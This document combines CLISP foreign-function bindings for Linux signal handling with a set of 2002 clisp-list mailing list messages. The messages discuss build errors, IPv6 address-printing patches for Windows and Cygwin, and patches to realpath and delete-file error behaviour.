(defconstant SIGCONT		18)      ;; Continue (POSIX).  
(defconstant SIGSTOP		19)      ;; Stop, unblockable (POSIX).  
(defconstant SIGTSTP		20)      ;; Keyboard stop (POSIX).  
(defconstant SIGTTIN		21)      ;; Background read from tty (POSIX).  
(defconstant SIGTTOU		22)      ;; Background write to tty (POSIX).  
(defconstant SIGURG		23)      ;; Urgent condition on socket (4.2 BSD).  
(defconstant SIGXCPU		24)      ;; CPU limit exceeded (4.2 BSD).  
(defconstant SIGXFSZ		25)      ;; File size limit exceeded (4.2 BSD).  
(defconstant SIGVTALRM	        26)      ;; Virtual alarm clock (4.2 BSD).  
(defconstant SIGPROF		27)      ;; Profiling alarm clock (4.2 BSD).  
(defconstant SIGWINCH	        28)      ;; Window size change (4.3 BSD, Sun).  
(defconstant SIGIO		29)      ;; I/O now possible (4.2 BSD).  
(defconstant SIGPOLL		SIGIO)   ;; Pollable event occurred (System V).  
(defconstant SIGPWR		30)      ;; Power failure restart (System V).  
(defconstant SIGSYS		31)      ;; Bad system call.  
(defconstant SIGUNUSED	        31)

#|
;pseudo sigs :-(

I don't know how to do these...

#define SIG_ERR	((__sighandler_t) -1)		/* Error return.  */
#define SIG_DFL	((__sighandler_t) 0)		/* Default action.  */
#define SIG_IGN	((__sighandler_t) 1)		/* Ignore signal.  */

But it's not the end of the world, since its easy to accomplish what SIG_DFL
and SIG_IGN do anyway, by other means ... They are just sugar, really.

|#
; --------------------------------- <bits/sigset.h> --------------------------
;(eval-when (load compile eval)
;  (defconstant SIGSET_NWORDS #.(lisp:/ 1024 #.(lisp:* 8 (ffi:sizeof 'ffi:uint)))))
(eval-when (load compile eval)
  (defconstant SIGSET_NWORDS 32))

(def-c-struct sigset_t
  (val (c-array-max uint #.SIGSET_NWORDS)))

; --------------------------------- <bits/sigaction.h> -----------------------

(def-c-type sighandler_t (c-function (:arguments (sig int)) ;from signal.h
					      (:return-type nil)))

(def-c-struct sigaction
  (sa_handler sighandler_t)
  (sa_mask sigset_t)
  (sa_flags uint32) ;actually int but otherwise Clisp can't coerce SA_RESETHAND?!
  (sa_restorer (c-function (:arguments)
			   (:return-type))))

(defconstant SA_NOCLDSTOP  1)             ;;Don't send SIGCHLD when children stop.
(defconstant SA_NOCLDWAIT  2)             ;;Don't create zombie on child death.
                                          ;;?not available?
(defconstant SA_RESTART    #x10000000)    ;;Restart syscall on signal return.
(defconstant SA_NODEFER    #x40000000)    ;;Don't automatically block the signal when
				          ;;its handler is being executed.
(defconstant SA_RESETHAND  #x80000000)    ;;Reset to SIG_DFL on entry to handler.
(defconstant SA_NOMASK     SA_NODEFER)
(defconstant SA_ONESHOT    SA_RESETHAND)


(defconstant SIG_BLOCK     0)             ;;Block signals
(defconstant SIG_UNBLOCK   1)             ;;Unblock signals.
(defconstant SIG_SETMASK   2)             ;;Set the set of blocked signals.

;sa_flags is the bitwise-or of zero or more of the following:
;SA_NOCLDSTOP SA_ONESHOT SA_RESETHAND SA_RESTART SA_NOMASK SA_NODEFER

; --------------------------------- <signal.h> ------------------------------

;sigsetops (3)
(def-c-call-out sigemptyset
  (:name "sigemptyset")
  (:arguments (sigs (c-ptr sigset_t) :out :alloca))
  (:return-type int))

(def-c-call-out sigfillset
  (:name "sigfillset")
  (:arguments (sigs (c-ptr sigset_t) :out :alloca))
  (:return-type int))

(def-c-call-out sigaddset
  (:name "sigaddset")
  (:arguments (sigset (c-ptr sigset_t) :in-out :alloca)
	      (sig int))
  (:return-type int))

(def-c-call-out sigdelset
  (:name "sigdelset")
  (:arguments (sigset (c-ptr sigset_t) :in-out :alloca)
	      (sig int))
  (:return-type int))

(def-c-call-out sigismember
  (:name "sigismember")
  (:arguments (sigset (c-ptr sigset_t) :in :alloca)
	      (sig int))
  (:return-type int))

(def-c-call-out sigprocmask-set-n-save
  (:name "sigprocmask")
  (:arguments (how int)
	      (sigset (c-ptr sigset_t) :in :alloca)
	      (newset (c-ptr sigset_t) :out :alloca))
  (:return-type int))

(def-c-call-out sigprocmask-set
  (:name "sigprocmask")
  (:arguments (how int)
	      (sigset (c-ptr sigset_t) :in :alloca)
	      (null c-string))
  (:return-type int))
; 'how' can be: SIG_BLOCK SIG_UNBLOCK SIG_SETMASK

(def-c-call-out sigpending
  (:name "sigpending")
  (:arguments (sigset (c-ptr sigset_t) :out :alloca))
  (:return-type int))

(def-c-call-out sigsuspend
  (:name "sigsuspend")
  (:arguments (mask (c-ptr sigset_t) :in :alloca))
  (:return-type int))

;int sigaction(int signum, const struct sigaction *act, struct sigaction *oldact);

(def-c-call-out sigaction-new
  (:name "sigaction")
  (:arguments (sig int)
	      (act (c-ptr sigaction) :in :alloca)
	      (null c-string)) ;nil
  (:return-type int))
;eg (sigaction SIGINT newhandler nil) => 0

(def-c-call-out sigaction-old
  (:name "sigaction")
  (:arguments (sig int)
	      (null c-string) ; nil
	      (oact (c-ptr sigaction) :out :alloca))
  (:return-type int))
;eg (setf oldhandler (multiple-value-bind (r s) (sigaction SIGINT nil) s)) => oldhandler

(def-c-call-out sigaction-query
  ;if 2nd & 3rd args are null, query if signal SIG is valid
  (:name "sigaction")
  (:arguments (sig int)
	      (null c-string) ;nil
	      (null c-string)) ;null
  (:return-type int))
;eg (linux:sigaction-query linux:SIGINT nil nil) => 0

;miscellaneous signal stuff
(def-c-call-out kill
  (:name "kill")
  (:arguments (pid pid_t) (sig int))
  (:return-type int))

(def-c-call-out raise
  (:name "raise")
  (:arguments (sig int))
  (:return-type int))

(def-c-call-out sigpause
  (:name "sigpause")
  (:arguments (sig int))
  (:return-type int))

(def-c-call-out killpg
  (:name "killpg")
  (:arguments (pgrp pid_t)
	      (sig int))
  (:return-type int))

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;; convenience functions for ffi sigaction definitions
;; Peter Wood 2002

(defun signal-action-query (signal)
  "Is SIGNAL valid for this machine?"
  (when (zerop (linux:sigaction-query signal nil nil))
    t))

(defun signal-action-retrieve (signal)
  "Return the presently installed sigaction structure for SIGNAL"
  (multiple-value-bind (ret act)
      (linux:sigaction-old signal nil)
    (when (zerop ret)
      act)))

(defun signal-action-install (signal newact)
  "Install NEWACT as the sigaction structure for SIGNAL. T on success."
  (when (zerop (linux:sigaction-new signal newact nil))
    t))

(defun sa-handler (sigact)
  "Returns the signal handler function for SIGACT struct. setf place."
  (slot-value sigact 'linux::sa_handler))

(defsetf sa-handler (sigact) (handler)
  `(setf (slot-value ,sigact 'linux::sa_handler) ,handler))

(defun sa-flags (sigact)
  "Returns the sa_flags for SIGACT struct. setf place."
  (slot-value sigact 'linux::sa_flags))

(defsetf sa-flags (sigact) (newflags)
  `(setf (slot-value ,sigact 'linux::sa_flags) ,newflags))

;eg (setf (sa-flags SIGACT) (logior SA_RESETHAND SA_NOCLDSTOP))

(defun sa-mask (sigact)
  "Returns the sa_mask for SIGACT struct. setf place."
  (slot-value sigact 'linux::sa_mask))

(defsetf sa-mask (sigact) (mask)
  `(setf (slot-value ,sigact 'linux::sa_mask) ,mask))

(defun sigemptyset ()
  "Return an empty sigset"
  (multiple-value-bind (ret act)
      (linux:sigemptyset)
      (when (zerop ret)
	act)))

(defun sigfillset ()
  "Return a full sigset"
  (multiple-value-bind (ret set)
      (linux:sigfillset)
    (when (zerop ret)
      set)))

(defun sigaddset (set signal)
  "Return a new set with SIGNAL"
  (multiple-value-bind (ret set)
      (linux:sigaddset set signal)
    (when (zerop ret)
      set)))

(defun sigdelset (set signal)
  "Return a new set without SIGNAL"
  (multiple-value-bind (ret set)
      (linux:sigdelset set signal)
    (when (zerop ret)
      set)))

(defun sigismemberp (set signal)
  "T if SIGNAL is a member of SET, otherwise NIL"
  (when (not (zerop (linux:sigismember set signal)))
    t))

(defun set-sigprocmask (act set)
;NB the result of this will not be 'visible' in the sigaction
;struct which contains SET, although the ACT *will* be performed.
;If you want a visible result, see linux:sigprocmask-set-n-save,
;which returns as 2nd value the set structure resulting from ACT.
  "Do ACT on SET. Returns T,  or NIL on failure."
  (when (zerop (linux:sigprocmask-set act set nil))
    t))

(defun sigpending? ()
  "Returns the set of pending signals. Nil on failure"
  (multiple-value-bind (ret set)
      (linux:sigpending)
    (when (zerop ret)
      set)))

(defun mysignal (signal fn)
  "Sets FN as signal handler for SIGNAL.  Returns old signal handler."
  (let ((sigact (signal-action-retrieve signal)));get the currently installed sigact struct
    (when sigact
      (let ((oh (sa-handler sigact))) ;save old handler to return
	(setf (sa-handler sigact) fn) ;make fn be handler in sigact
	(when (signal-action-install signal sigact);if install succeeds
	  oh)))));return old handler, otherwise nil.

(defun test1 (s)
  (format t "got signal ~R~%" s))

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> * In message <m3zo1jpkpi.fsf@validus.delamancha.org>
> * On the subject of "Re: [clisp-list] Compilation Failure: Latest Release (2.28) : RedHat 7.2 (Kernel 2.4.9-21)"
> * Sent on Fri, 08 Mar 2002 02:44:41 -0500
> * Honorable IPmonger <ipmonger@delamancha.org> writes:
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> Sam Steingold <sds@gnu.org> writes:
> 
> > add -DDEBUG_EVAL -DDEBUG_SPVW to CFLAGS.
> 
>     Ok, so I did this and it fails to compile spvw.c because of problems
>   in spvw_general.d:
> 
> spvw_genera1.d:948: structure has no member named `heapnr_from_type'
> spvw_genera1.d:953: structure has no member named `heapnr_from_type'
> spvw_genera1.d:962: `symbol_type' undeclared (first use in this function)
> 
>     These are caused by the -DDEBUG_SPVW flag.


I guess not all options work together.
add -DSAFETY=3.


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Those of you who use win32 (msvc) or cygwin -- please test the appended
patch.  If the new-clx users pre-tested 2.28, it would not have broke
new-clx.  If the win32 & cygwin users will not test this patch, the
next release might not work for them.

thanks.

PS is there a site with an ipv6 address around to test this?

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--- socket.d.~1.54.~	Tue Dec 11 16:44:10 2001
+++ socket.d	Fri Mar  8 11:55:19 2002
@@ -130,7 +130,7 @@
 
 # Converts an AF_INET address to a printable, presentable format.
 # ipv4_ntop(buffer,addr);
-# > sockaddr_in addr: IPv4 address
+# > struct in_addr addr: IPv4 address
 # < char[] buffer: printable address
 # buffer should have at least 15+1 characters.
 #ifdef HAVE_IPV4
@@ -145,35 +145,27 @@
 
 # Converts an AF_INET6 address to a printable, presentable format.
 # ipv6_ntop(buffer,addr);
-# > sockaddr_in6 addr: IPv6 address
+# > struct in6_addr addr: IPv6 address
 # < char[] buffer: printable address
 # buffer should have at least 45+1 characters.
 #ifdef HAVE_IPV6
+  #ifndef s6_addr16
+    #define s6_addr16 in6_u.u6_addr16
+  #endif
   #ifdef HAVE_INET_NTOP
     #define ipv6_ntop(buffer,addr)  \
       inet_ntop(AF_INET6,&addr,buffer,45+1)
-  #elif defined(WIN32) || defined(UNIX_CYGWIN32)
-    #define ipv6_ntop(buffer,addr)  \
-     (sprintf(buffer,"%x:%x:%x:%x:%x:%x:%x:%x", \
-              ntohs(((u_short*)(addr).s6_addr)[0]), \
-              ntohs(((u_short*)(addr).s6_addr)[1]), \
-              ntohs(((u_short*)(addr).s6_addr)[2]), \
-              ntohs(((u_short*)(addr).s6_addr)[3]), \
-              ntohs(((u_short*)(addr).s6_addr)[4]), \
-              ntohs(((u_short*)(addr).s6_addr)[5]), \
-              ntohs(((u_short*)(addr).s6_addr)[6]), \
-              ntohs(((u_short*)(addr).s6_addr)[7])),buffer)
   #else
     #define ipv6_ntop(buffer,addr)  \
      (sprintf(buffer,"%x:%x:%x:%x:%x:%x:%x:%x", \
-              ntohs((addr).in6_u.u6_addr16[0]), \
-              ntohs((addr).in6_u.u6_addr16[1]), \
-              ntohs((addr).in6_u.u6_addr16[2]), \
-              ntohs((addr).in6_u.u6_addr16[3]), \
-              ntohs((addr).in6_u.u6_addr16[4]), \
-              ntohs((addr).in6_u.u6_addr16[5]), \
-              ntohs((addr).in6_u.u6_addr16[6]), \
-              ntohs((addr).in6_u.u6_addr16[7])),buffer)
+              ntohs((addr).s6_addr16[0]),               \
+              ntohs((addr).s6_addr16[1]),               \
+              ntohs((addr).s6_addr16[2]),               \
+              ntohs((addr).s6_addr16[3]),               \
+              ntohs((addr).s6_addr16[4]),               \
+              ntohs((addr).s6_addr16[5]),               \
+              ntohs((addr).s6_addr16[6]),               \
+              ntohs((addr).s6_addr16[7])),buffer)
   #endif
 #endif
 



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> * In message <DFD875E85664D3118FA6080006277DE705216404@U8PN2>
> * On the subject of "[clisp-list] Re: Building CLISP for Windows"
> * Sent on Fri, 8 Mar 2002 11:06:10 +0100
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> Sam Steingold wrote:
> > see CLISP/win32*/
> > I used msvc6 with CLISP/win32msvc/makefile.msvc5 and followed the
> > instructions in CLISP/win32msvc/INSTALL
> > everything worked just dandy.
> I can confirm this, using MSVC6.
> 
> However, here are some observations of mine:
> 
> o (queens 21.0s0) still crashes.

msvs has a pretty decent debugger - maybe you could track this down?
you will have to recreate makefile:
look at Makefile.devel and add "debug" to the makemake options.

> o genclisph.exe and as a consequence clisp.h are not generated and
> there's even no makefile target for them.
> Did anyone ever build a module on MS-windows?

IIUC, you need add an interface to LoadLibrary (win32 version of dlopen)
to spvw.d:dynload_modules().
Bruno proposed using libltdl from GNU libtool.
would you like to do this?

> What is the wgenclisph.exe that makefile target clean0 may remove?

Bruno?

> I used the following to complete the makefile (somebody please add this to makemake):
> genclisph.exe : genclisph.obj
> 	$(CC) $(CFLAGS) $(CLFLAGS) genclisph.obj /Fegenclisph.exe
> clisp.h : genclisph.exe
> 	genclisph.exe > clisp.h

this was disabled on win32 together will the rest of the modules
interface.
I enabled it - re-create your makefiles and try it
(you will need some UNIX utils, like sed, for some other module
targets, and I am not sure that nmake supports things like $@ &c.)

> --------
> clisp.h is not quite correct:
> mtest.c (generated from my private mtest.lisp) includes clisp.h
> clisp.h(24) : error C2632: 'long' gefolgt von 'long' ist unzulaessig
> clisp.h(25) : error C2632: 'long' gefolgt von 'long' ist unzulaessig
> It seems like genclisp.d doesn't reproduce lispbibl.d which says:
> #elif defined(MICROSOFT)
>   typedef __int64           SLONGLONG;
>   typedef unsigned __int64  ULONGLONG;
>   #define HAVE_LONGLONG
> #endif
> and just outputs:
> typedef long long           SLONGLONG;
> for Microloft VC, which is not accepted.

fixed, thanks.

> o dirkey.lisp:
> The following functions were used but not defined:
>  LDAP::TEXT
> TEXT seems to come from package SYSTEM instead (SYSTEM::TEXT) and used
> in producing error messages (IIRC it's a marker for GETTEXT).
> 
> --------
> o One of dirkey.lisp or dirkey.c should be renamed (like affi|1,
> foreign|1, rexx|1.{d,lisp}) This will avoid dirkey.c to get
> overwritten the day dirkey.lisp will contain some FFI definition, when
> it's supposed to be generated from dirkey.d. Furthermore, makefile
> (MSVC6.0) get confused and wants to rebuild my dirkey, maybe because
> of this?? or maybe because somehow dirkey.c disappeared?

another mystery solved!!! thanks!
fixed too.

> --------
> Seen after I added MODULE(mtest) to modules.h:
> modules.i.c
> modules.h(1) : warning C4113: 'void (__cdecl *)()' weicht in der
> Parameterliste von 'void (__cdecl *)(struct module_ *)' ab
> modules.h(1) : warning C4113: 'void (__cdecl *)()' weicht in der Parameterliste
> von 'void (__cdecl *)(struct module_ *)' ab
> "x deviates in the parameter list from y."
> Looks like something was missing or not expanded. That doesn't look like a good definition.
> 
> I also have 5KB worth of compiler warnings from varying C files (in German, sorry). Where should I send that?

Please fix them and send in a patch instead! :-)

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Sam,

    Let me start by thanking you for your help.  I appreciate you giving
  so much time to me.  I'm sorry that I can't be more productive in
  providing debugging information.

Sam Steingold <sds@gnu.org> writes:
> I guess not all options work together.
> add -DSAFETY=3.

    I did this.  It now compiles.

    It still crashes during the half-compiled stage, but after loading a
  different file.  :-)

    I'll follow the recommendations you had previously given me and see
  if I can produce anything useful.  Thanks again for your help.

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committed.
I changed the wrappers to barf on errors instead of returning nil, as
is the Lisp way (as opposed to the UNIX way).

Thanks!

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Hello Sam,

Saturday, March 09, 2002, 3:07:07 AM, you wrote:

Sam> Those of you who use win32 (msvc) or cygwin -- please test the appended
Sam> patch.

What is in_addr6 ? On MSVC it's declared as

struct in_addr6 {
                u_char  s6_addr[16];    /* IPv6 address */
};

what is in incompatible with

                ipv6_ntop(buffer,*(const struct in6_addr*)h->h_addr);

since in6_addr is declared as

                #define in6_addr in_addr6

                
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Hi Arseny,

> * In message <182974791.20020309204958@ich.dvo.ru>
> * On the subject of "Re: [clisp-list] ipv6 on cygwin & win32"
> * Sent on Sat, 9 Mar 2002 20:49:58 +1000
> * Honorable Arseny Slobodjuck <ampy@ich.dvo.ru> writes:
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> Saturday, March 09, 2002, 3:07:07 AM, you wrote:
> 
> Sam> Those of you who use win32 (msvc) or cygwin -- please test the appended
> Sam> patch.
> 
> What is in_addr6 ? On MSVC it's declared as
> 
> struct in_addr6 {
>                 u_char  s6_addr[16];    /* IPv6 address */
> };

I take it to mean that the patch does not work.
What about this one? (it should be trivially equivalent to the current code)

Karsten, please test it too.


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--- socket.d.~1.54.~	Tue Dec 11 16:44:10 2001
+++ socket.d	Sat Mar  9 10:43:34 2002
@@ -130,7 +130,7 @@
 
 # Converts an AF_INET address to a printable, presentable format.
 # ipv4_ntop(buffer,addr);
-# > sockaddr_in addr: IPv4 address
+# > struct in_addr addr: IPv4 address
 # < char[] buffer: printable address
 # buffer should have at least 15+1 characters.
 #ifdef HAVE_IPV4
@@ -145,35 +145,32 @@
 
 # Converts an AF_INET6 address to a printable, presentable format.
 # ipv6_ntop(buffer,addr);
-# > sockaddr_in6 addr: IPv6 address
+# > struct in6_addr addr: IPv6 address
 # < char[] buffer: printable address
 # buffer should have at least 45+1 characters.
 #ifdef HAVE_IPV6
+  #ifndef s6_addr16
+    #define s6_addr16 in6_u.u6_addr16
+  #endif
+  #if defined(WIN32) || defined(UNIX_CYGWIN32)
+    #define S6_ADDR16(addr)   ((u_short*)((addr).s6_addr))
+  #else
+    #define S6_ADDR16(addr)   (addr).s6_addr16
+  #endif
   #ifdef HAVE_INET_NTOP
     #define ipv6_ntop(buffer,addr)  \
       inet_ntop(AF_INET6,&addr,buffer,45+1)
-  #elif defined(WIN32) || defined(UNIX_CYGWIN32)
-    #define ipv6_ntop(buffer,addr)  \
-     (sprintf(buffer,"%x:%x:%x:%x:%x:%x:%x:%x", \
-              ntohs(((u_short*)(addr).s6_addr)[0]), \
-              ntohs(((u_short*)(addr).s6_addr)[1]), \
-              ntohs(((u_short*)(addr).s6_addr)[2]), \
-              ntohs(((u_short*)(addr).s6_addr)[3]), \
-              ntohs(((u_short*)(addr).s6_addr)[4]), \
-              ntohs(((u_short*)(addr).s6_addr)[5]), \
-              ntohs(((u_short*)(addr).s6_addr)[6]), \
-              ntohs(((u_short*)(addr).s6_addr)[7])),buffer)
   #else
     #define ipv6_ntop(buffer,addr)  \
      (sprintf(buffer,"%x:%x:%x:%x:%x:%x:%x:%x", \
-              ntohs((addr).in6_u.u6_addr16[0]), \
-              ntohs((addr).in6_u.u6_addr16[1]), \
-              ntohs((addr).in6_u.u6_addr16[2]), \
-              ntohs((addr).in6_u.u6_addr16[3]), \
-              ntohs((addr).in6_u.u6_addr16[4]), \
-              ntohs((addr).in6_u.u6_addr16[5]), \
-              ntohs((addr).in6_u.u6_addr16[6]), \
-              ntohs((addr).in6_u.u6_addr16[7])),buffer)
+              ntohs(S6_ADDR16(addr)[0]),                \
+              ntohs(S6_ADDR16(addr)[1]),                \
+              ntohs(S6_ADDR16(addr)[2]),                \
+              ntohs(S6_ADDR16(addr)[3]),                \
+              ntohs(S6_ADDR16(addr)[4]),                \
+              ntohs(S6_ADDR16(addr)[5]),                \
+              ntohs(S6_ADDR16(addr)[6]),                \
+              ntohs(S6_ADDR16(addr)[7])),buffer)
   #endif
 #endif
 



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Hello,

the testcase that fails with clisp 2.28 /cygwin is the following (I added 
the handler-case so that it can be interactively used)

(handler-case
     (progn
       (with-open-file (s "/tmp/foo35.tmp" :direction :output))
       (delete-file "/tmp/foo35.tmp/bar"))
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It returns :no-error, although the test-case assumes that a file error is 
raised (as it does in clisp 2.28 win32 native)

I wonder a bit why this is assumed

The with-open-file will fail, if the directory /tmp does no exist. On my 
machine it exists for cygwin and linux, but not for windows.
The delete-file fails on my machine only for linux (redhat), but not for 
windows nor for cygwin.

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> * In message <5.1.0.14.0.20020306200840.00a35ec0@pop3.terra.es>
> * On the subject of "Re: [clisp-list] Clisp 2.28 on cygwin"
> * Sent on Wed, 06 Mar 2002 20:18:13 +0100
> * Honorable Karsten <vs1100@terra.es> writes:
>
> > > Is there anything that I can do to really resolve the ualarm issue?
> >
> >it appears that cygwin provides a working ualarm, right?
> >where/how is it declared?
> 
> Ualarm is defined in
> /usr/include/sys/unixstd.h
> as
> useconds_t _EXFUN(ualarm, (useconds_t __useconds, useconds_t __interval));
> 
> useconds_t is in /usr/include/sys/types.h
> #if defined(__CYGWIN__) || defined(__rtems__)
> typedef long useconds_t;
> #endif

useconds_t, as follows from the name, should be unsigned.
please file a cygwin bug report.

do I understand that, to compile CLISP, you removed the CLISP-supplied
definitions of ualarm &c (or just the declarations)?
If you removed just the declarations, please try removing the
definitions as well (so that you will be testing whether CLISP can use
the cygwin-supplied ualarm) and check whether CLISP handles interrupts
(like Ctrl-C) correctly (this appears to be the only place where ualarm
is used).

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> * In message <5.1.0.14.0.20020309161014.00a0e760@pop3.terra.es>
> * On the subject of "[clisp-list] File error in clisp 2.28/cygwin testsuite execution"
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> * Honorable Karsten <vs1100@terra.es> writes:
>
> the testcase that fails with clisp 2.28 /cygwin is the following (I
> added the handler-case so that it can be interactively used)
> 
> (handler-case
>      (progn
>        (with-open-file (s "/tmp/foo35.tmp" :direction :output))
>        (delete-file "/tmp/foo35.tmp/bar"))
>    (file-error (error) :file-error)
>    (condition (condition) (values :other condition))
>    (:no-error (dont-care) (declare (ignore dont-care)) :no-error)
>    )
> 
> It returns :no-error, although the test-case assumes that a file error
> is raised (as it does in clisp 2.28 win32 native)
> 
> I wonder a bit why this is assumed

the tests were originally designed on UNIX, so the existence of /tmp is
always assumed throughout the tests.

WITH-OPEN-FILE is a touch(1) - it creates a plain file (non-dir), and
DELETE-FILE accesses a non-existent dir - which should generate a
FILE-ERROR.

> The with-open-file will fail, if the directory /tmp does no exist. On
> my machine it exists for cygwin and linux, but not for windows.  The
> delete-file fails on my machine only for linux (redhat), but not for
> windows nor for cygwin.

I see.  delete-file should fail in the
<pathname.d7653::assure_dir_exists()> call
I wonder why it does not - could you please debug that?

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Thanks Peter - I installed your patch.
Karsten, please do "cvs up" and try again.
BTW, Peter, did you test the cygwin ipv6 patch?

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Sam Steingold <sds@gnu.org> writes:

> I take it to mean that the patch does not work.
> What about this one? (it should be trivially equivalent to the current code)
> 
> Karsten, please test it too.

Sam,

It compiles and builds without error. No idea whether it works because
I don't know how to test it.

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Hello Sam,

Sunday, March 10, 2002, 1:52:56 AM, you wrote:

>> Sam> Those of you who use win32 (msvc) or cygwin -- please test the appended
>> Sam> patch.
>> 
>> What is in_addr6 ? On MSVC it's declared as
>> 
>> struct in_addr6 {
>>                 u_char  s6_addr[16];    /* IPv6 address */
>> };

Sam> I take it to mean that the patch does not work.
Sam> What about this one? (it should be trivially equivalent to the current code)

It compiles on msvc and my HTTP-getter works with it.


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Sam Steingold <sds@gnu.org> writes:

> > * In message <5.1.0.14.0.20020309161014.00a0e760@pop3.terra.es>
> > * On the subject of "[clisp-list] File error in clisp 2.28/cygwin testsuite execution"
> > * Sent on Sat, 09 Mar 2002 16:58:47 +0100
> > * Honorable Karsten <vs1100@terra.es> writes:
> >
> > the testcase that fails with clisp 2.28 /cygwin is the following (I
> > added the handler-case so that it can be interactively used)
> > 
> > (handler-case
> >      (progn
> >        (with-open-file (s "/tmp/foo35.tmp" :direction :output))
> >        (delete-file "/tmp/foo35.tmp/bar"))
> >    (file-error (error) :file-error)
> >    (condition (condition) (values :other condition))
> >    (:no-error (dont-care) (declare (ignore dont-care)) :no-error)
> >    )
> > 
> > It returns :no-error, although the test-case assumes that a file error
> > is raised (as it does in clisp 2.28 win32 native)
> > 
> > I wonder a bit why this is assumed
> 
> the tests were originally designed on UNIX, so the existence of /tmp is
> always assumed throughout the tests.
> 
> WITH-OPEN-FILE is a touch(1) - it creates a plain file (non-dir), and
> DELETE-FILE accesses a non-existent dir - which should generate a
> FILE-ERROR.
> 
> > The with-open-file will fail, if the directory /tmp does no exist. On
> > my machine it exists for cygwin and linux, but not for windows.  The
> > delete-file fails on my machine only for linux (redhat), but not for
> > windows nor for cygwin.
> 
> I see.  delete-file should fail in the
> <pathname.d7653::assure_dir_exists()> call
> I wonder why it does not - could you please debug that?

The problem with cygwin seems to be down to realpath and readlink.
realpath is called with "/tmp/foo35.tmp/." and returns
"/tmp/foo35.tmp" with errno EINVAL.  Under Linux, the return is NULL
and the errno is ENOTDIR for this call.

Thus Linux will cause a file error to be raised by assure_dir_exists,
as when realpath returns NULL, then assure_dir_exists generates a
FILE-ERROR when errno != ENOENT or tolerantp is false.

Now, realpath in this example determines its result and errno from the
internal call to readlink and the SUSv2 distinguishes some errno as
follows (ENOENT and ENOTDIR are the same for readlink and realpath):

  [EINVAL]
    The path argument names a file that is not a symbolic link. 

  [ENOENT]
    A component of file_name does not name an existing file or
    file_name points to an empty string.

  [ENOTDIR]
    A component of the path prefix is not a directory.

So, it appears to be a bug in Clisp's realpath assuming that readlink
will return ENOTDIR in favour of EINVAL.  Fortunately, we can identify
this case in realpath and I've attached a patch.  In fact, I've
supplied an alternative patch in case you don't like the first.  They
have both been tested on Cygwin.


2002-03-10  Peter Burwood  <clisp@peterb.org.uk>

	* pathname.d (realpath): Favour ENOTDIR rather than EINVAL for Cygwin.

Index: pathname.d
===================================================================
RCS file: /cvsroot/clisp/clisp/src/pathname.d,v
retrieving revision 1.170
diff -p -u -2 -r1.170 pathname.d
--- pathname.d	28 Feb 2002 19:49:30 -0000	1.170
+++ pathname.d	10 Mar 2002 20:33:08 -0000
@@ -198,4 +198,8 @@ local char* realpath (const char* path, 
               # directory, not a symbolic link
               to_ptr[-1] = '/'; # insert the '/' again
+            } else if (!S_ISLNK(statbuf.st_mode)) {
+              # something else, but not a directory or symbolic link.
+              errno = ENOTDIR;
+              return NULL;
             } else
               #endif



Index: pathname.d
===================================================================
RCS file: /cvsroot/clisp/clisp/src/pathname.d,v
retrieving revision 1.170
diff -p -u -2 -r1.170 pathname.d
--- pathname.d	28 Feb 2002 19:49:30 -0000	1.170
+++ pathname.d	10 Mar 2002 20:38:21 -0000
@@ -241,4 +241,11 @@ local char* realpath (const char* path, 
                   to_ptr = from_ptr;
                 } else {
+                  #if defined(UNIX_CYGWIN32)
+                    # When we've got here, we know the file is not a link due to
+                    # readlinks and not a directory, as S_ISDIR has been checked.
+                    # Thus, treat EINVAL as ENOTDIR because CLISP prefers ENOTDIR.
+                  if (errno == EINVAL)
+                    errno = ENOTDIR;
+                  #endif
                   #if defined(UNIX_IRIX)
                   if ((errno == EINVAL) || (errno == ENXIO))


I did have a quick try with Cygwin's realpath and that was looking
hopeful as realpath ("/tmp/foo35.tmp/.") returned NULL and errno
ENOENT.  Unfortunately, realpath ("/tmp/foo/bar/."), where /tmp is
empty, returns "/tmp/foo/bar" and doesn't change errno.


Perhaps this next bit should be another email...

I do question the consistency of Clisp here w.r.t. when an error is or
is not generated.  That is, it seems that delete-file can be called
with other arguments and raise no error at all.

  (with-open-file (s "/tmp/foo.txt" :direction :output))
  (delete-file "/tmp/foo.txt")
     -> #P/tmp/foo.txt"        ; no error, it existed.
  (delete-file "/tmp/foo.txt")
     -> NIL                    ; still no error, but now it doesn't

According the CLHS, on delete-file

  delete-file filespec => t

  It is implementation-dependent whether an attempt to delete a
  nonexistent file is considered to be successful.

  delete-file returns true if it succeeds, or signals an error of type
  file-error if it does not.

Which means that delete-file cannot return NIL.  Clisp is
non-conformant here, as is Clisp returning the pathname of the deleted
file.

A patch to delete-file is below.  I've chosen to make delete-file on a
nonexistent file be an error.  You may disagree as it does change
behaviour.  Please examine this patch carefully, because I'm not sure
on the STACK code.

Peter


2002-03-10  Peter Burwood  <clisp@peterb.org.uk>

	* pathname.d (delete_file): CLtL2 compatibility. DELETE-FILE
          returns T or raises an error.

Index: pathname.d
===================================================================
RCS file: /cvsroot/clisp/clisp/src/pathname.d,v
retrieving revision 1.170
diff -p -u -2 -r1.170 pathname.d
--- pathname.d	28 Feb 2002 19:49:30 -0000	1.170
+++ pathname.d	10 Mar 2002 21:21:47 -0000
@@ -7653,23 +7657,22 @@ LISPFUNN(delete_file,1) {
   var object namestring = assure_dir_exists(false,true); # filename for the operating system
   if (eq(namestring,nullobj)) {
-    # path to the file does not exist ==> return NIL
-    skipSTACK(1); value1 = NIL; mv_count=1; return;
+    # path to the file does not exist
+    fehler_dir_not_exists(STACK_0);
   }
   check_delete_open(STACK_0);
   # delete file:
  #ifdef FILE_EXISTS_TRIVIAL
-  if (!file_exists(namestring)) { # file does not exist -> value NIL
-    skipSTACK(1); value1 = NIL; mv_count=1; return;
-  }
+  if (!file_exists(namestring)) { fehler_file_not_exists(); }
  #endif
   with_sstring_0(namestring,O(pathname_encoding),namestring_asciz, {
     if (!delete_file_if_exists(namestring_asciz)) {
-      # file does not exist -> value NIL
-      FREE_DYNAMIC_ARRAY(namestring_asciz); skipSTACK(1);
-      value1 = NIL; mv_count=1; return;
+      # file does not exist
+      FREE_DYNAMIC_ARRAY(namestring_asciz);
+      fehler_file_not_exists();
     }
   });
-  # file existed, was deleted -> pathname (/=NIL) as value
-  value1 = popSTACK(); mv_count=1;
+  # file exists and was deleted -> t
+  skipSTACK(1); # forget pathname
+  value1 = T; mv_count=1;
 }
 




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> * In message <wkwuwkqfe4.fsf@peterb.org.uk>
> * On the subject of "Re: [clisp-list] File error in clisp 2.28/cygwin testsuite execution"
> * Sent on 10 Mar 2002 21:30:59 +0000
